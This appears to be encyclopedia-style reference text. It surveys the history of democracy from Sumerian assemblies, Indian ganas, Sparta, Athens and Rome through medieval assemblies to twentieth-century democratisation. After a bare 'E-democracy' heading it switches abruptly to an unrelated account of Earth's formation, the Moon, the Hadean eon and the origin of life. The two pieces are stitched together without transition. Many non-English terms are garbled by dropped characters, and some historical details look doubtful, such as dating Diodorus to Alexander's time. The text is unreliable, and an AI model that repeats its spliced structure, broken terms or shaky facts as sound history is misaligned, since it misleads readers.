          For much of the long history of the ancient Mediterranean world, Greece was a cultural backwater and developed complex social and political institutions long after the appearance of the earliest civilizations in Egypt and Near East. In recent decades scholars have explored the possibility that advancements toward democratic government occurred somewhere else first.


          


          Mesopotamia
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          Thorkild Jacobsen has studied the pre-Babylonian Mesopotamia and uses Sumerian epic, myth and historical records to identify what he calls primitive democracy. By this he means a government in which ultimate power rests with the mass of free male citizens, although "the various functions of government are as yet little specialized, the power structure is loose". In the early period of Sumer, kings such as Gilgamesh did not hold the autocratic power which later Mesopotamia rulers wielded. Rather, major city-states had a council of elders and a council of "young men" (likely to be comprised by free men bearing arms) that possessed the final political authority, and had to be consulted on all major issues such as war.


          This pioneering work, while constantly cited, has invoked little serious discussion and less outright acceptance. The criticism from other scholars focuses on the use of the word "democracy", since the same evidence also can be interpreted convincingly to demonstrate a power struggle between primitive monarchs and the nobility, a struggle in which the common people act more as pawns than the sovereign authority. Jacobsen concedes that the vagueness of the evidence prohibits the separation between the Mesopotamian democracy from a primitive oligarchy.


          


          India


          A serious claim for early democratic institutions comes from the independent "republics" of India, sanghas and ganas, which existed as early as the sixth century BCE and persisted in some areas until the fourth century CE. The evidence is scattered and no pure historical source exists for that period. In addition, Diodorus (a Greek historian at the time of Alexander the Great's invasion of India), without offering any detail, mentions that independent and democratic states existed in India. However, modern scholars note that the word democracy at the third century BC had been degraded and could mean any autonomous state no matter how oligarchic it was.


          The main characteristics of the gana seem to be a monarch, usually called raja and a deliberative assembly. The assembly met regularly in which at least in some states attendance was open to all free men, and discussed all major state decisions. It had also full financial, administrative, and judicial authority. Other officers, who are rarely mentioned, obeyed the decisions of the assembly. The monarch was elected by the gana and apparently he always belonged to a family of the noble K'satriya Varna. The monarch coordinated his activities with the assembly and in some states along with a council of other nobles.


          Scholars differ over how to describe these governments and the vague, sporadic quality of the evidence allows for wide disagreements. Some emphasize the central role of the assemblies and thus tout them as democracies; other scholars focus of the upper class domination of the leadership and possible control of the assembly and see an oligarchy or an aristocracy. Despite the obvious power of the assembly, it has not yet been established if the composition and participation was truly popular. The first main obstacle is the lack of evidence describing the popular power of the assembly. This is reflected in the Arthra' sastra, an ancient handbook for monarchs on how to rule efficiently. It contains a chapter on dealing with the sangas, which includes injunctions on manipulating the noble leaders, yet it does not mention how to influence the mass of the citizens  a surprising omission if democratic bodies, not the aristocratic families, actively controlled the republican governments. Another issue is the persistence of the four-tiered Varna class system. The duties and privileges on the members of each particular caste  which were rigid enough to prohibit someone sharing a meal with those of another order  must have affected the role members were expected to play in the state, regardless of the formal institutions. Hence, the lack of the concept of citizen equality to counterbalance the strict caste system, questions the true nature of ganas and sanghas with seemingly democratic institutions.


          


          Ancient Sparta
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          Ancient Greece in its early period was a loose collection of independent city states, called poleis. Many of these poleis were oligarchies. The most prominent Greek oligarchy, and the state with which democratic Athens is most often and most fruitfully compared, was Sparta. Yet Sparta, in its rejection of private wealth as a primary social differentiator, was a peculiar kind of oligarchy, and some scholars note its resemblance with democracy. In Spartan government, the share of political power was divided between four bodies: two Spartan Kings (monarchy), gerousia (Counsil of Gerontes (Elders), including the two kings), the ephors (representatives to oversee the Kings) and finally the apella (assembly of Spartans).


          The two Kings served as the head of the government and they were ruling simultaneously. They were coming from two separate lines, but the dual kingship was diluting the accessible power of the executive office. The kings shared their judicial functions with other members of gerousia. The members of gerousia, had to be over the age of 60 and were elected for life. In theory any Spartan over that age could stand, however in practice they were selected from wealthy, aristocratic families. The gerousia possessed the crucial of legislating initiative. Apella, the most democratic element, was the assembly, where Spartans, above the age of 30, were electing the members of gerousia, the ephors and accepting or rejecting gerousia's proposals. Finally, the five ephors were Spartans chosen in apella from the poorest social layers for overseeing the actions of the Kings and if necessary disposing them.


          The creator of the Spartan system of rule was the legendary lawgiver, Lycurgus. He is associated with the drastic reforms that were instituted in Sparta after the revolt of the helots in the second half of the 7th century BC. In order to prevent another helot revolt, Lycurgus devised the highly militarized communal system that made Sparta unique among the city-states of Greece. All his reforms were directed towards the three Spartan virtues: equality (among citizens), military fitness and austerity. It is also probable that Lycurgus also delineated the powers of the two traditional organs of the Spartan government, the gerousia and the apella.


          The reforms of Lycurgus, were written as a list of rules/laws, called Great Rhetra, making it the world's first written constitution. In the following centuries Sparta became, a military superpower, and its system of rule was admired throughout the Greek world for its political stability. In particular, the concept of equality played important role in the Spartan society. The Spartan referred to themselves as ό (Homoioi, men of equal status). This was also reflected on the Spartan public educational system, agoge, where all citizens irrespectively of wealth or status had the same education. This was admired almost universally by contemporaries, from historians such as Herodotus and Xenophon to philosophers such as Plato and Aristotle. In addition the Spartan women, unlikely elsewhere, enjoyed "every kind of luxury and intemperance" with elementary rights such as the right to inheritance, property ownership and public education. Overall the Spartans were remarkably free in criticism of their Kings and they were able to depose and exile them. However, despite these democratic elements in the Spartan constitution there are two main criticisms, and thus classifying Sparta as an oligarchy. First, the individual freedom was restricted, since as Plutarch writes "no man was allowed to live as he wished", but as in a "military camp" all were engaged in the public service of their polis. And second, gerousia effectively maintained the biggest share of power between the different governmental bodies.


          The political stability of Sparta also meant that no significant changes in the constitution were made, but the oligarchic elements of Sparta became stronger, especially after the influx of gold and silver from the victories in the Persian Wars. In addition, Athens, after the Persian Wars, was becoming the hegemonic power in the Greek world and disagreements between Sparta and Athens over the supremacy emerged. These lead to a series of armed conflicts, known as the Peloponnesian War with Sparta prevailing at the end. The war greatly exhausted the two poleis and Sparta was in turn humbled by Thebes at the Battle of Leuctra in 371 BC. It was all brought to an end a few years later, when Philip II of Macedon conquered the rest of Greece.


          


          Athenian Democracy


          Athens, is regarded as the birthplace of democracy and the most important democracy of antiquity. Athens emerged in the 7th century BC, like many other poleis, with a dominating powerful aristocracy. However, this domination lead to exploitation causing significant economic, political, and social problems. These problems, were enhanced early in the sixth century, and as "the many were enslaved to few, the people rose against the notables". Many traditional aristocracies, at the same period in the Greek world, were disrupted by popular revolutions, like Sparta in the second half of the 7th century BC. Sparta's constitutional reforms by Lycurgus, introduced a hoplite state and showed how inherited governments can be changed and lead to military victory. After a period of unrest between the rich and the poor, the Athenians of all classes turned to Solon for acting as a mediator between rival factions, and reaching to a generally satisfactory solution of their problems.


          


          Solon and the foundations of democracy
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          Solon, an Athenian of noble descent but moderate means, was a Lyric poet and later a lawmaker; Plutarch placed him as one of the Seven Sages of the ancient world. Solon attempted to satisfy all sides by alleviating the suffering of the poor majority without removing all the privileges of the rich minority.


          Solon divided the Athenians, into four property classes, with different rights and duties for each. As the Rhetra did in the Lycurgian Sparta, Solon formalized the composition and functions of the governmental bodies. Now, all citizens were entitled to attend the Ecclesia (Assembly) and vote. Ecclesia became, in principle, the sovereign body, entitled to pass laws and decrees, elect officials, and hear appeals from the most important decisions of the courts. All but those in the poorest group might serve, a year at a time, on a new Boule of 400, which was to prepare business for Ecclesia. The higher governmental posts, archons (magistrates), were reserved for citizens of the top two income groups. The retired archons were becoming members of Areopagus (Council of the Hill of Ares), and like Gerousia in Sparta, it was able to check improper actions of the newly powerful Ecclesia. Solon created a mixed timocratic and democratic system of institutions.


          Overall, the reforms of the lawgiver Solon in 594 BC, devised to avert the political, economic and moral decline in archaic Athens and gave Athens its first comprehensive code of law. The constitutional reforms eliminated enslavement of Athenians by Athenians, established rules for legal redress against over-reaching aristocratic archons, and assigned political privileges on the basis of productive wealth rather than noble birth. Some of his reforms failed in the short term, yet he is often credited with having laid the foundations for Athenian democracy.


          


          Democracy under Cleisthenes and Pericles
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          Even though the Solonian reorganization of the constitution improved the economic position of the Athenian lower classes, it did not eliminated the bitter aristocratic contentions for control of the archonship, the chief executive post. Peisistratus became tyrant of Athens for three times and remained in power until his death in 527 BC. His sons Hippias and Hipparchus succeeded him.


          After the fall of tyranny and before the year 508507 was over, Cleisthenes proposed a complete reform of the system of government, which later was approved by the popular Ecclesia. Cleisthenes reorganized the population into ten tribes, with the aim to change the basis of political organization from the family loyalties to political ones, and improve the army's organization. He also introduced the principle of equality of rights for all, isonomia, by expanding the access to power to more citizens. During this period where, the word "democracy" ( Greek: ί - "rule by the people") was first used by the Athenians to define their new system of government.


          In the next generation, Athens entered in its Golden Age by becoming a great centre of literature and art. The victories in Persian Wars encouraged the poorest Athenians to demand a greater say in the running of their city. In the late 460s Ephialtes and Pericles presided over a radicalization of power that shifted the balance decisively to the poorest sections of society, by passing laws, which severely limiting the powers of the Council of the Areopagus and allow thetes (Athenians without wealth) to occupy public office. Pericles was distinguished as its greatest democratic leader, even though he has been accused of running a political machine. In the following passage, Thucydides recorded Pericles, in the funeral oration, describing the Athenian system of rule:


          
            
              	

              	Its administration favors the many instead of the few; this is why it is called a democracy. If we look to the laws, they afford equal justice to all in their private differences; if no social standing, advancement in public life falls to reputation for capacity, class considerations not being allowed to interfere with merit; nor again does poverty bar the way, if a man is able to serve the state, he is not hindered by the obscurity of his condition. The freedom which we enjoy in our government extends also to our ordinary life.

              	
            

          


          The Athenian democracy of Cleisthenes and Pericles, was based on freedom, through the reforms of Solon, and isonomia, introduced by Cleisthenes and later expanded by Ephialtes and Pericles. To preserve these principles the Athenians used lot for selecting officials. Lot's rationale was to ensure all citizens were "equally" qualified for office, and to avoid any corruption allotment machines were used. Moreover, in most positions chosen by lot, Athenian citizens could not be selected more than once; this rotation in office meant that no-one could built up power base through staying in a particular position. Another important political institution in Athens was the courts; they were composed with large number of juries, with no judges and they were selected by lot on a daily basis from an annual pool, also chosen by lot. The courts had unlimited power to control the other bodies of the government and its political leaders. Participation by the citizens selected was mandatory, and a modest financial compensation was given to citizens whose livelihood was affected by being "drafted" to office. The only officials chosen by elections, one from each tribe, were the strategoi (generals), where military knowledge was required, and the treasurers, who had to be wealthy, since any funds revealed to have been embezzled were recovered from a treasurer's private fortune. Debate was open to all present and decisions in all matters of policy were taken by majority vote in Ecclesia (compare direct democracy), in which all male citizens could participate (in some cases with a quorum of 6000). The decisions taken in Ecclesia were executed by Boule of 500, which had already approved the agenda for Ecclesia. The Athenian Boule was elected by lot every year and no citizen could serve more than twice. Overall, the Athenians enjoyed their liberties not in opposition to the government, but by living in a city that was not subject to another power and by not being subjects themselves to the rule of another person.


          


          The decline and its critics


          The Athenian democracy, in its two centuries of life-time, twice voted against its democratic constitution, both during the crisis at the end of the Pelopponesian War; Four Hundred (in 411 BC) and Sparta's installment of the Thirty Tyrants (in 404 BC). Both votes were under manipulation and pressure, but democracy was recovered in less than a year in both cases. Athens restored again its democratic constitution, after the unification by force of Greece from Phillip II of Macedon and later Alexander the Great, but it was politically shadowed by the Hellenistic empires. Finally after the Roman conquest of Greece in 146 BC, Athens was restricted to matters of local administration.


          However, the decline of democracy was not only due to external powers, but from its citizens, such as Plato and Aristotle. Through their influential works, Sparta's political stability was praised, while the Periclean democracy was described as a system of rule, where either the less well-born, the mob (as a collective tyrant) or the poorer classes, were holding power. It was only after the publication of "A history of Greece" by George Grote in 1846, when the Athenian democracy of Pericles started to be viewed positively from the political thinkers.


          


          Roman Republic


          


          Birth of the Republic


          In 13th century BC, the Etruscans, early Italian settlers built city-states throughout central Italy and ruled Rome for over a century; and in 510 BC the last king was deposed. The king was expelled by a group of aristocrats led by Lucius Junius Brutus. The founding of the new Republic did not mark the end for Roman troubles, since the new constitution was not flawless and there remained powerful external enemies. Internally, one serious threat was the feuding of the leading families. Another was the struggle between the ruling families ( patricians) as a whole and the rest of the population, especially the plebeians. After years of conflicts the plebs forced the senate to pass a written series of laws (the Twelve Tables) which recognized certain rights and gave the plebs their own representatives, the tribunes. By the 4th Century BC, the plebs were given the right to stand for consulship and other major offices of the state.


          Rome became the ruler of a great Mediterranean empire. The new provinces brought wealth to Italy, and fortunes were made through mineral concessions and enormous slave run estates. Slaves were imported to Italy and wealthy landowners soon began to buy up and displace the original peasant farmers. By the late 2nd Century this led to renewed conflict between the rich and poor and demands from the latter for reform of constitution. The background of social unease and the inability of the traditional republican constitutions to adapt to the needs of the growing empire led to the rise of a series of over-mighty generals, championing the cause of either the rich or the poor, in the last century BC.


          


          Fall of the Republic


          Over the next few hundred years, various generals would bypass or overthrow the Senate for various reasons, mostly to address perceived injustices, either against themselves or against poorer citizens or soldiers. After the dictatorship of Sulla, which was overthrown with the help of Pompey the Great and Marcus Licinius Crassus, the two men joined forces with Julius Caesar to form what is now known as the First Triumvirate, a then secret pact to rule Rome together. The pact did not last long as distrust between the three led to Caesar being charged with war crimes, and he in turn marched on Rome and took supreme power over the republic. Caesar's career was cut short by his assassination at Rome in 44 BC by a group of Senators including Marcus Junius Brutus, the descendant of the Brutus who expelled the Etruscan King four and half centuries before.


          In the power vacuum that followed Caesar's assassination, his friend and chief lieutenant, Marcus Antonius, and Caesar's grand-nephew Octavian who also was the adopted son of Caesar, rose to prominence. After some initial disagreements, Antony, Octavian, and Antony's ally Marcus Aemilius Lepidus, formed the Second Triumvirate. Their combined strength gave the triumvirs absolute power.


          In 31 BC war between the two finally broke out. Approximately 200 senators, one-third of the Senate, abandoned Octavian to support Antony and Cleopatra. The final confrontation of the Roman Republic occurred on 2 September 31 BC, at the naval Battle of Actium where the fleet of Octavian under the command of Agrippa routed the combined fleet of Antony and Cleopatra; the two lovers fled to Egypt. After his victory, Octavian skillfully used propaganda, negotiation, and bribery to bring Antony's legions in Greece, Asia Minor, and Cyrenaica to his side. Anthony and Cleopatra committed suicide to escape capture.
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          The period of civil wars were finally over. Thereafter, there was no one left in the Roman Republic who wanted, or could stand against Octavian, as the adopted son of Caesar moved to take absolute control. He designated governors loyal to him to the half dozen "frontier" provinces, where the majority of the legions were situated, thus, at a stroke, giving him command of enough legions to ensure that no single governor could try to overthrow him. He also reorganized the Senate, purging it of unreliable or dangerous members, and "refilled it" with his supporters from the provinces and outside the Roman aristocracy, men who could be counted on to follow his lead. However, he left the majority of Republican institutions apparently intact, albeit feeble. Consuls continued to be elected, tribunes of the plebeians continued to offer legislation, and debate still resounded through the Roman Curia. However it was Octavian who influenced everything and ultimately, controlled the final decisions, and had the legions to back it up, if necessary.


          The Roman Senate and the Roman citizens, tired of the never-ending civil wars and unrest, were willing to toss aside the incompetent and unstable rule of the Senate and the popular assemblies in exchange for the iron will of one man who might set Rome back in order. By 27 BC the transition, though subtle and disguised, was made complete. In that year, Octavian offered back all his extraordinary powers to the Senate, and in a carefully staged way, the Senate refused and in fact titled Octavian Augustus  "the revered one". He was always careful to avoid the title of rex  "king", and instead took on the titles of princeps  "first citizen" and imperator, a title given by Roman troops to their victorious commanders. The Roman Empire had been born.


          Once Octavian named Tiberius as his heir, it was clear to everyone that even the hope of a restored Republic was dead. Most likely, by the time Augustus died, no one was old enough to know a time before an Emperor ruled Rome. The Roman Republic had been changed into a despotic rgime, which, underneath a competent and strong Emperor, could achieve military supremacy, economic prosperity, and a genuine peace, but under a weak or incompetent one saw its glory tarnished by cruelty, military defeats, revolts, and civil war. The Roman Empire was eventually divided between the Western Roman Empire which fell in 476 AD and the Eastern Roman Empire (also called the Byzantine Empire) which lasted until the fall of Constantinople in 1453 AD.


          


          Local popular institutions
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          Most of the procedures used by modern democracies are very old. Almost all cultures have at some time had their new leaders approved, or at least accepted, by the people; and have changed the laws only after consultation with the assembly of the people or their leaders. Such institutions existed since before the Iliad or the Odyssey, and modern democracies are often derived or inspired by them, or what remained of them. Nevertheless, the direct result of these institutions was not always a democracy. It was often a narrow oligarchy, as in Venice, or even an absolute monarchy, as in Florence.


          These early institutions include:


          
            	The collegia of the Roman period: associations of various social, economic, religious, funerary and even sportive natures elected officers yearly, often directly modeled on the Senate of Rome.


            	The Christian Church well into the 6th Century had its bishops elected by popular acclaim.


            	The Rashidun caliphs were elected by a council (see Islamic democracy).


            	Medieval guilds of economic, social and religious natures elected officers for yearly terms.


            	The German tribal system described by Tacitus in his Germania.


            	The Anglo-Saxon Witan councils of advisors to the Saxon kings.


            	The Frankish custom of the Marzfeld or "March field".


            	The Althing, the parliament of the Icelandic Commonwealth, was founded in 930. It consisted of the 39, later 55, goar; each owner of a goar; and membership, which could in principle be lent or sold, was kept tight hold of by each hereditary goi. Thus, for example, when Burnt Njal's stepson wanted to enter it, Njal had to persuade the Althing to enlarge itself so a seat would be available. But as each independent farmer in the country could choose what goi represented him the system could be claimed as an early form of democracy. The Aling has run nearly continuously to the present day. The Althing was preceded by less elaborate " things" (assemblies) all over Northern Europe.


            	The Thing of all Swedes, which was held annually at Uppsala in the end of February or early March. Like in Iceland, the assemblies were presided by the lawspeaker, but the Swedish king functioned as a judge. A famous incident took place circa 1018, when King Olof Sktkonung wanted to pursue the war against Norway against the will of the people. orgnr the Lawspeaker reminded the king in a long speech that the power resided with the Swedish people and not with the king. When the king heard the din of swords beating the shields in support of orgnr's speech, he gave in. Adam of Bremen wrote that the people used to obey the king only when they thought his suggestions seemed better, although in war his power was absolute.


            	The tatha system in early medieval Ireland. Landowners and the masters of a profession or craft were members of a local assembly, known as a tath. Each tath met in annual assembly which approved all common policies, declared war or peace on other tuatha, and accepted the election of a new "king"; normally during the old king's lifetime, as a tanist. The new king had to be descended within four generations from a previous king, so this usually became, in practice, a hereditary kingship; although some kingships alternated between lines of cousins. About 80 to 100 tatha coexisted at any time throughout Ireland. Each tath controlled a more or less compact area of land which it could pretty much defend from cattle-raids, and this was divided among its members.


            	The city-states of medieval Italy, of which Venice and Florence were the most successful, and similar city-states in Switzerland, Flanders and the Hanseatic league. These were often closer to an oligarchy than a democracy in practice, and were, in any case, not nearly as democratic as the Athenian-influenced city-states of Ancient Greece (discussed in the above section), but they served as focal points for early modern democracy.


            	Veche, Wiec - popular assemblies in Slavic countries. In Poland wiece have developed in 1182 into Sejm - Polish parliament. The veche was the highest legislature and judicial authority in the republics of Novgorod until 1478 and Pskov until 1510.


            	The elizate system of the Basque Country in which farmholders of a rural area connected to a particular church would meet to reach decisions on issues affecting the community and to elect representatives to the provincial Batzar Nagusiak/Juntos Generales.


            	Rise of parliamentary bodies in other European countries.

          


          


          Indigenous peoples of the Americas


          Historian Jack Weatherford argues that Thomas Jefferson, Benjamin Franklin, and others, got their ideas on democracy not from any Greek or Roman influence, but from the Iroquois and other indigenous peoples of the Americas, who practiced the type of democracy found in the United States Constitution, through self-governing territories that were part of a larger whole. This democracy was founded between the years 1000-1450, and lasted several hundred years. He also states that American democracy was continually changed and improved by the influence of Native Americans throughout North America. For example, the right of women to vote started on the American frontier, and moved eastward. In other words, Americans learned democracy from the indigenous peoples of the North America.


          The Aztecs also practiced elections, and the elected officials elected a supreme speaker, but not a ruler.


          


          Rise of democracy in modern national governments


          


          Pre-Eighteenth century milestones


          
            	Rise of democratic parliaments in England and Scotland: Magna Carta (1215) limiting the authority of powerholders, First elected parliament (1265), The Levellers political movement, English Civil War (1642-1651), Habeas Corpus Act (1679), English Bill of Rights and Scottish Claim of Right (1689). See also: other documents listed at the Constitution of the United Kingdom, History of the parliament of the United Kingdom.

          


          
            	Simon de Montfort in 1265 introduced the idea that powerholders are responsible to an electorate  (although only landowners were allowed to vote in the 1265 English election)

          


          
            	Renaissance humanism was a cultural movement in Europe beginning in central Italy (particularly Florence) in the last decades of the 14th century. It revived and refined the study of language (First Latin, and then the Greek language by mid-century), science, philosophy, art and poetry of classical antiquity. The "revival" was based on interpretations of Roman and Greek texts. Their emphasis on art and the senses marked a great change from the medieval values of humility, introspection, and passivity.

          


          
            	The humanist philosophers looked for secular principles on which society could be organized, as opposed to the concentration of political power in the hands of the Church. Prior to the Renaissance, religion had been the dominant force in politics for a thousand years.

          


          
            	Humanists looked at ancient Greece and found the concept of democracy. In some cases they began to implement it (to a limited extent) in practice.
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            	Rise of Golden Liberty (Nobles' Democracy, Rzeczpospolita Szlachecka) in the Kingdom of Poland and Polish-Lithuanian Commonwealth: Nihil novi of 1505, Pacta conventa and King Henry's Articles (1573). See also: Szlachta history and political privileges, Sejm of the Kingdom of Poland and the Polish-Lithuanian Commonwealth, Organisation and politics of the Polish-Lithuanian Commonwealth.


            	The Mayflower Compact, signed in 1620, an agreement between the Pilgrims, on forming a government between themselves, based on majority rule.

          


          
            	William Penn wrote his Frame of Government of Pennsylvania in 1682. The document gave the colony a representative legislature and granted liberal freedoms to the colony's citizens.

          


          


          Eighteenth and nineteenth century milestones


          
            	1755: The Corsican Republic led by Pasquale Paoli with the Corsican Constitution


            	1760s-1790s Americans develop and apply concept of Republicanism; basis of American Revolution

              
                	Virginia Declaration of Rights of 1776 (based on the English Bill of Rights)


                	United States Constitution ratified in 1789 and the new United States Bill of Rights

              

            


            	1780s: development of social movements identifying themselves with the term 'democracy': Political clashes between 'aristocrats' and 'democrats' in Benelux countries changed the semi-negative meaning of the word 'democracy' in Europe, which was until then regarded as synonymous with anarchy, into a much more positive opposite of 'aristocracy'.


            	From late 1770s: new Constitutions and Bills explicitly describing and limiting the authority of powerholders, many based on the British Bill of Rights (1689). The Polish Constitution of May 3, 1791 is widely recognized as the second oldest constitution in the world.


            	1791: The Haitian Revolution, the first, and only, successful slave revolution, established a free republic.


            	1789-1799: the French Revolution


            	1790s First Party System in U.S. involves invention of locally-rooted political parties in the United States; networks of party newspapers; new canvassing techniques; use of caucus to select candidates; fixed party names; party loyalty; party platform (Jefferson 1799); peaceful transition between parties (1800)

              
                	Early 19th century: in Europe rise of political parties competing for votes.

              

            


            	Extension of political rights to various social classes: elimination of wealth, property, sex, race and similar requirements for voting (See also universal suffrage).


            	1850s: introduction of the secret ballot in Australia; 1872 in UK; 1892 in USA

          


          


          The secret ballot


          The notion of a secret ballot, where one is entitled to the privacy of their votes, is taken for granted by most today by virtue of the fact that it is simply considered the norm. However, this practice was highly controversial in the 19th century; it was widely argued that no man would want to keep his vote secret unless he was ashamed of it.


          The two earliest systems used were the Victorian method and the South Australian method. Both were introduced in 1856 to voters in Victoria and South Australia. The Victorian method involved voters crossing out all the candidates whom he did not approve of. The South Australian method, which is more similar to what most democracies use today, had voters put a mark in the preferred candidate's corresponding box. The Victorian voting system also was not completely secret, as it was traceable by a special number.


          [bookmark: 20th_century_waves_of_democracy]


          20th century waves of democracy


          The end of the First World War was a temporary victory for democracy in Europe, as it was preserved in France and temporarily extended to Germany. Already in 1906 full modern democratic rights, universal suffrage for all citizens was implemented constitutionally in Finland as well as an proportional representation, open list system. Likewise, the February Revolution in Russia in 1917 inaugurated a few months of liberal democracy under Alexander Kerensky until Lenin took over in October. The terrific economic impact of the Great Depression hurt democratic forces in many countries. The 1930s became a decade of dictators in Europe and Latin America.


          World War II was ultimately a victory for democracy in Western Europe, where representative governments were established that reflected the general will of their citizens. However, many countries of Central and Eastern Europe became undemocratic Soviet satellite states. In Southern Europe, a number of right-wing authoritarian dictatorships (most notably in Spain and Portugal) continued to exist.


          Japan had moved towards democracy during the Taishō period during the 1920s, but it was under effective military rule in the years before and during World War II. The country adopted a new constitution during the postwar Allied occupation, with initial elections in 1946.


          World War II also planted seeds of freedom outside Europe and Japan, as it weakened all the colonial powers while strengthening anticolonial sentiment worldwide. Many restive colonies/possessions were promised subsequent independence in exchange for their support for embattled colonial powers during the war. The United States, itself a former colony, flexed its new influence in support of the decolonization process, for example supporting prominent Arab nationalist Nasser during the Suez Crisis in 1956, often cited as the last gasp of European colonialism.


          India became a democratic republic in 1950 upon achieving independence from Great Britain. Most of the former colonies were independent by 1965. The process of decolonization created much political upheaval in Africa and parts of Asia, with some countries experiencing often rapid changes to and from democratic and other forms of government.


          The Voting Rights Act of 1965 in the United States helped to protect the black vote, especially in the southern states.
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          New waves of democracy swept across Southern Europe in the 1970s and Central Europe in the late 1980s.


          Much of Eastern Europe, Latin America, East and Southeast Asia, and several Arab, central Asian and African states, and the not-yet-state that is the Palestinian Authority moved towards greater liberal democracy in the 1990s and 2000s.


          An analysis by Freedom House argues that there was not a single liberal democracy with universal suffrage in the world in 1900, but that in 2000 120 of the world's 192 nations, or 62% were such democracies. They count 25 nations, or 19% of the world's nations with "restricted democratic practices" in 1900 and 16, or 8% of the world's nations today. They counted 19 constitutional monarchies in 1900, forming 14% of the world's nations, where a constitution limited the powers of the monarch, and with some power devolved to elected legislatures, and none in the present. Other nations had, and have, various forms of non-democratic rule. While the specifics may be open to debate (for example, New Zealand actually enacted universal suffrage in 1893, but is discounted due to a lack of complete sovereignty and certain restrictions on the Māori vote), the numbers are indicative of the expansion of democracy during the twentieth century.


          


          Contemporary trends


          
            	E-democracy
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          The history of Earth covers approximately 4.6 billion years (4,567,000,000 years), from Earths formation out of the solar nebula to the present. This article presents a broad overview, summarizing the leading, most current scientific theories.


          


          Origin


          
            [image: An artist's impression of protoplanetary disk.]

            
              An artist's impression of protoplanetary disk.
            

          


          The Earth formed as part of the birth of the Solar System: what eventually became the solar system initially existed as a large, rotating cloud of dust, rocks, and gas. It was composed of hydrogen and helium produced in the Big Bang, as well as heavier elements ejected by supernovas. Then, as one theory suggests, about 4.6 billion years ago a nearby star was destroyed in a supernova and the explosion sent a shock wave through the solar nebula, causing it to gain angular momentum. As the cloud began to accelerate its rotation, gravity and inertia flattened it into a protoplanetary disk oriented perpendicularly to its axis of rotation. Most of the mass concentrated in the middle and began to heat up, but small perturbations due to collisions and the angular momentum of other large debris created the means by which protoplanets began to form. The infall of material, increase in rotational speed and the crush of gravity created an enormous amount of kinetic heat at the center. Its inability to transfer that energy away through any other process at a rate capable of relieving the build-up resulted in the disk's centre heating up. Ultimately, nuclear fusion of hydrogen into helium began, and eventually, after contraction, a T Tauri star ignited to create the Sun. Meanwhile, as gravity caused matter to condense around the previously perturbed objects outside of the new sun's gravity grasp, dust particles and the rest of the protoplanetary disk began separating into rings. Successively larger fragments collided with one another and became larger objects, ultimately destined to become protoplanets. These included one collection approximately 150 million kilometers from the centre: Earth. The solar wind of the newly formed T Tauri star cleared out most of the material in the disk that had not already condensed into larger bodies.


          


          


          Moon
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          The origin of the Moon is still uncertain, although much evidence exists for the giant impact hypothesis. Earth may not have been the only planet forming 150 million kilometers from the Sun. It is hypothesized that another collection occurred 150 million kilometers from both the Sun and the Earth, at their fourth or fifth Lagrangian point. This planet, named Theia, is thought to have been smaller than the current Earth, probably about the size and mass of Mars. Its orbit may at first have been stable, but destabilized as Earth increased its mass by the accretion of more and more material. Theia swung back and forth relative to Earth until, finally, an estimated 4.533 billion years ago, it collided at a low, oblique angle. The low speed and angle were not enough to destroy Earth, but a large portion of its crust was ejected into space. Heavier elements from Theia sank to Earths core, while the remaining material and ejecta condensed into a single body within a couple of weeks. Under the influence of its own gravity, this became a more spherical body: the Moon. The impact is also thought to have changed Earths axis to produce the large 23.5 axial tilt that is responsible for Earths seasons. (A simple, ideal model of the planets origins would have axial tilts of 0 with no recognizable seasons.) It may also have sped up Earths rotation and initiated the planets plate tectonics.


          


          


          The Hadean eon
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          The early Earth, during the very early Hadean eon, was very different from the world known today. There were no oceans and no oxygen in the atmosphere. It was bombarded by planetoids and other material left over from the formation of the solar system. This bombardment, combined with heat from radioactive breakdown, residual heat, and heat from the pressure of contraction, caused the planet at this stage to be fully molten. During the iron catastrophe heavier elements sank to the centre while lighter ones rose to the surface producing the layered structure of the Earth and also setting up the formation of Earth's magnetic field. Earth's early atmosphere would have comprised surrounding material from the solar nebula, especially light gases such as hydrogen and helium, but the solar wind and Earth's own heat would have driven off this atmosphere.


          This changed when Earth was about 40% its present radius, and gravitational attraction allowed the retention of an atmosphere which included water. Temperatures plummeted and the crust of the planet was accumulated on a solid surface, with areas melted by large impacts on the scale of decades to hundreds of years between impacts. Large impacts would have caused localized melting and partial differentiation, with some lighter elements on the surface or released to the moist atmosphere.


          The surface cooled quickly, forming the solid crust within 150 million years; although new research suggests that the actual number is 100 million years based on the level of hafnium found in the geology at Jack Hills in Western Australia. From 4 to 3.8 billion years ago, Earth underwent a period of heavy asteroidal bombardment. Steam escaped from the crust while more gases were released by volcanoes, completing the second atmosphere. Additional water was imported by bolide collisions, probably from asteroids ejected from the outer asteroid belt under the influence of Jupiter's gravity. The planet cooled. Clouds formed. Rain gave rise to the oceans within 750 million years (3.8 billion years ago), but probably earlier. Recent evidence suggests the oceans may have begun forming by 4.2 billion years ago. The new atmosphere probably contained ammonia, methane, water vapor, carbon dioxide, and nitrogen, as well as smaller amounts of other gases. Any free oxygen would have been bound by hydrogen or minerals on the surface. Volcanic activity was intense and, without an ozone layer to hinder its entry, ultraviolet radiation flooded the surface.


          


          


          Life
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          The details of the origin of life are unknown, though the broad principles have been established. Two schools of thought regarding the origin of life have been proposed. The first suggests that organic components may have arrived on Earth from space (see  Panspermia), while the other argues for terrestrial origins. The mechanisms by which life would initially arise are nevertheless held to be similar. If life arose on Earth, the timing of this event is highly speculativeperhaps it arose around 4 billion years ago. In the energetic chemistry of early Earth, a molecule (or even something else) gained the ability to make copies of itselfthe replicator. The nature of this molecule is unknown, its function having long since been superseded by lifes current replicator, DNA. In making copies of itself, the replicator did not always perform accurately: some copies contained an error. If the change destroyed the copying ability of the molecule, there could be no more copies, and the line would die out. On the other hand, a few rare changes might make the molecule replicate faster or better: those strains would become more numerous and successful. As choice raw materials (food) became depleted, strains which could exploit different materials, or perhaps halt the progress of other strains and steal their resources, became more numerous.


